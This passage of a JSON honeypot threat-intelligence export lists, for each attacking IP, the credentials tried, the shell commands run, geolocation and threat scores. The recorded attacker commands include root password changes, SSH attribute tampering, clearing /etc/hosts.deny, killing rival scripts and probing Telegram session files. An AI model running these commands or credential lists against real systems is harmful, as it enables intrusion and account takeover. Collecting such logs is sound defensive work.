        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 4.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 260,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T03:25:09.865000+00:00",
        "last_seen_30d": "2026-04-04T05:01:30.144000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 67
      }
    },
    "35.222.117.243": {
      "attack_count": 193,
      "first_seen": "2026-04-19T14:56:41.137Z",
      "last_seen": "2026-04-19T15:41:22.649Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "admin123",
        "bbs",
        "deploy",
        "rootadmin",
        "server",
        "steam",
        "sysadmin",
        "test1234",
        "ttstest",
        "user",
        "vpn",
        "wireguard"
      ],
      "passwords_attempted": [
        "!",
        "123",
        "1234.com",
        "3245gs5662d34",
        "345gs5662d34",
        "@Pass123",
        "Kumar@123",
        "P@ssw0rd",
        "P@ssw0rd10",
        "Passw0rd",
        "Qazwsx111.",
        "Qazwsx1234567@@",
        "Qazwsx2026.",
        "Qwertyui123",
        "Vpn25!",
        "admin",
        "admin1",
        "asdasd",
        "bbs",
        "qweasdzxc1234"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:cn4yIXbLmWgB\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Council Bluffs",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 256,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T14:56:41.137000+00:00",
        "last_seen_30d": "2026-04-19T15:42:24.639000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 193,
        "Suricata": 63
      }
    },
    "41.82.52.124": {
      "attack_count": 180,
      "first_seen": "2026-04-19T15:13:28.943Z",
      "last_seen": "2026-04-19T16:52:52.486Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "postgres",
        "bot",
        "345gs5662d34",
        "ca",
        "cloud-user",
        "going",
        "mapadmin",
        "sammy",
        "sistemas",
        "svxlink",
        "test",
        "user",
        "virtualbox",
        "xiaoli"
      ],
      "passwords_attempted": [
        "123456",
        "1",
        "2025",
        "3245gs5662d34",
        "345gs5662d34",
        "Admin2023",
        "Bot13",
        "Bot17",
        "Ks123456@",
        "P@ssw0rd1",
        "Qazwsx8888#",
        "Sammy03!",
        "abcdefg",
        "cloud-user",
        "going",
        "hosting",
        "mapadmin@123",
        "martin",
        "mysql",
        "root1234@#"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"P@ssw0rd1\\nI9OJETualAsX\\nI9OJETualAsX\\n\"|passwd",
        "echo -e \"P@ssw0rd1\\nI9OJETualAsX\\nI9OJETualAsX\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 258,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T15:13:28.943000+00:00",
        "last_seen_30d": "2026-04-19T16:53:59.426000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 180,
        "Suricata": 78
      }
    },
    "31.56.177.15": {
      "attack_count": 173,
      "first_seen": "2026-04-06T04:02:13.651Z",
      "last_seen": "2026-04-06T07:55:14.698Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "user",
        "andrew",
        "deploy",
        "dev",
        "test",
        "work"
      ],
      "passwords_attempted": [
        "1qaz2wsx3edc",
        "1qaz@wsx3edc",
        "20252025",
        "Abcd12345!@",
        "Abcd123456789!",
        "Dev6",
        "P@ssw0rd123",
        "Qazwsx6666#$",
        "Qwert123!",
        "Root666#",
        "Server2025!",
        "demo",
        "pass123",
        "qazwsx321!@#",
        "qqBB000",
        "test123",
        "work"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:5Coh8hGUjvwp\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 246,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T04:02:13.651000+00:00",
        "last_seen_30d": "2026-04-06T07:56:17.461000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 173,
        "Suricata": 73
      }
    },
    "198.57.165.243": {
      "attack_count": 152,
      "first_seen": "2026-04-30T16:43:15.691Z",
      "last_seen": "2026-04-30T16:47:00.395Z",
      "sessions": 76,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 46606,
      "as_org": "Unified Layer",
      "threat_score": 36.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 229,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T16:43:15.691000+00:00",
        "last_seen_30d": "2026-04-30T16:48:00.666000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 152,
        "Suricata": 77
      }
    },
    "171.231.198.134": {
      "attack_count": 82,
      "first_seen": "2026-04-15T15:24:54.418Z",
      "last_seen": "2026-04-15T15:31:05.785Z",
      "sessions": 16,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "support",
        "1234",
        "config",
        "ftpuser",
        "guest",
        "nikita",
        "system",
        "test",
        "ubnt"
      ],
      "passwords_attempted": [
        "admin",
        "0l0ctyQh243O63uD",
        "1234",
        "OkwKcECs8qJP2Z",
        "asteriskftp",
        "config",
        "default",
        "guest",
        "ipscan",
        "nikita",
        "root123",
        "support",
        "test",
        "ubnt"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 17.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T15:24:54.418000+00:00",
        "last_seen_30d": "2026-04-15T15:32:11.523000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 82,
        "Suricata": 39
      }
    },
    "191.205.203.42": {
      "attack_count": 72,
      "first_seen": "2026-04-29T14:01:07.003Z",
      "last_seen": "2026-04-29T14:51:24.823Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Itapevi",
      "asn": 27699,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 114,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:01:07.003000+00:00",
        "last_seen_30d": "2026-04-29T14:52:33.634000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 72,
        "Suricata": 42
      }
    },
    "34.79.200.225": {
      "attack_count": 71,
      "first_seen": "2026-04-29T06:32:50.339Z",
      "last_seen": "2026-04-29T06:33:36.251Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 3830",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 32.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 112,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T06:32:50.339000+00:00",
        "last_seen_30d": "2026-04-29T06:34:46.438000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 71,
        "Suricata": 41
      }
    },
    "34.77.33.141": {
      "attack_count": 68,
      "first_seen": "2026-04-27T03:53:46.808Z",
      "last_seen": "2026-04-27T03:54:36.738Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 9191",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T03:53:46.808000+00:00",
        "last_seen_30d": "2026-04-27T03:55:46.118000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "34.79.80.196": {
      "attack_count": 68,
      "first_seen": "2026-04-07T11:18:03.696Z",
      "last_seen": "2026-04-07T11:18:52.780Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "*1",
        "GET / HTTP/1.1",
        "OPTIONS rtsp://example.com RTSP/1.0",
        "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "$4",
        "Accept-Encoding: gzip",
        "Cseq: 5485",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 7.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 109,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T11:18:03.696000+00:00",
        "last_seen_30d": "2026-04-07T11:20:03.011000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 68,
        "Suricata": 41
      }
    },
    "172.94.9.64": {
      "attack_count": 53,
      "first_seen": "2026-04-10T10:55:41.936Z",
      "last_seen": "2026-04-15T16:34:20.756Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "admin"
      ],
      "passwords_attempted": [
        "Welcome@2025",
        "kelltech1234",
        "kelltech1234#",
        "kelltech1234.",
        "kelltech1234@",
        "kelltech1@",
        "kelltech2019@",
        "kelltech2020",
        "kelltech2020#",
        "kelltech2020@"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T10:55:41.936000+00:00",
        "last_seen_30d": "2026-04-15T16:35:21.807000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 30
      }
    },
    "192.253.248.47": {
      "attack_count": 53,
      "first_seen": "2026-04-10T11:45:45.401Z",
      "last_seen": "2026-04-15T16:28:50.497Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "kelltech"
      ],
      "passwords_attempted": [
        "Info@123",
        "Kelltech2020!",
        "Kelltech2021",
        "Kelltech2021!",
        "Kelltech2021#",
        "Kelltech2021@",
        "Kelltech2022",
        "Kelltech2022!",
        "Kelltech2022#",
        "Kelltech2023!"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 18.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.2,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T11:45:45.401000+00:00",
        "last_seen_30d": "2026-04-15T16:29:55.344000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 53,
        "Suricata": 30
      }
    },
    "139.135.46.57": {
      "attack_count": 50,
      "first_seen": "2026-04-30T08:32:10.513Z",
      "last_seen": "2026-04-30T08:37:34.938Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:32:10.513000+00:00",
        "last_seen_30d": "2026-04-30T08:38:40.781000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "154.26.132.223": {
      "attack_count": 44,
      "first_seen": "2026-04-30T15:57:33.652Z",
      "last_seen": "2026-04-30T16:00:40.137Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 141995,
      "as_org": "Contabo Asia Private Limited",
      "threat_score": 31.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 68,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:57:33.652000+00:00",
        "last_seen_30d": "2026-04-30T16:01:48.646000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 24
      }
    },
    "115.190.172.63": {
      "attack_count": 43,
      "first_seen": "2026-04-16T21:45:54.282Z",
      "last_seen": "2026-04-30T09:02:05.892Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "cephuser",
        "switch"
      ],
      "passwords_attempted": [
        "123456",
        "1q2w3e!@#",
        "345gs5662d34",
        "admin123!",
        "cephuser",
        "hadoop123",
        "zzBB112233"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 18.0,
        "persistence": 12.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 15,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T21:45:54.282000+00:00",
        "last_seen_30d": "2026-04-30T09:03:14.871000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 20
      }
    },
    "46.101.119.183": {
      "attack_count": 41,
      "first_seen": "2026-04-01T05:30:12.798Z",
      "last_seen": "2026-04-01T05:31:28.718Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T05:30:12.798000+00:00",
        "last_seen_30d": "2026-04-01T05:41:28.997000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 41,
        "Suricata": 30
      }
    },
    "66.167.166.134": {
      "attack_count": 38,
      "first_seen": "2026-04-15T16:43:22.632Z",
      "last_seen": "2026-04-15T16:47:29.071Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 58,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T16:43:22.632000+00:00",
        "last_seen_30d": "2026-04-15T16:48:32.168000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 38,
        "Suricata": 20
      }
    },
    "85.130.237.235": {
      "attack_count": 36,
      "first_seen": "2026-04-03T12:35:55.449Z",
      "last_seen": "2026-04-03T12:36:56.399Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cisco",
        "default",
        "login",
        "mg3500",
        "none",
        "ont",
        "secret",
        "vadmin"
      ],
      "passwords_attempted": [
        "0",
        "00000",
        "1234",
        "12345",
        "4321",
        "99999",
        "BrAhMoS@15",
        "CISCO",
        "Zte521",
        "Zxic521",
        "a1sev5y7c39k",
        "admin",
        "ho4uku6at",
        "merlin",
        "mts",
        "ont",
        "root",
        "secret",
        "tluafed",
        "vadmin"
      ],
      "commands_executed": [
        "shell",
        "system",
        "",
        "/bin/busybox cat /proc/self/exe || cat /proc/self/exe",
        "cat /proc/self/exe",
        "enable",
        "ping; sh",
        "sh"
      ],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.success",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T12:35:55.449000+00:00",
        "last_seen_30d": "2026-04-03T12:38:01.977000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 3
      }
    },
    "58.249.156.221": {
      "attack_count": 33,
      "first_seen": "2026-04-30T21:43:45.969Z",
      "last_seen": "2026-04-30T21:45:29.483Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "root"
      ],
      "commands_executed": [
        "/ip cloud print",
        "cat /proc/cpuinfo",
        "echo Hi | cat -n",
        "ifconfig",
        "locate D877F783D5D3EF8Cs",
        "ls -la ~/.local/share/TelegramDesktop/tdata /home/*/.local/share/TelegramDesktop/tdata /dev/ttyGSM* /dev/ttyUSB-mod* /var/spool/sms/* /var/log/smsd.log /etc/smsd.conf* /usr/bin/qmuxd /var/qmux_connect_socket /etc/config/simman /dev/modem* /var/config/sms/*",
        "ps -ef | grep '[Mm]iner'",
        "ps | grep '[Mm]iner'",
        "uname -a"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.command.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 15.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:43:45.969000+00:00",
        "last_seen_30d": "2026-04-30T21:46:36.139000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 4
      }
    },
    "42.232.226.192": {
      "attack_count": 30,
      "first_seen": "2026-04-21T01:29:51.163Z",
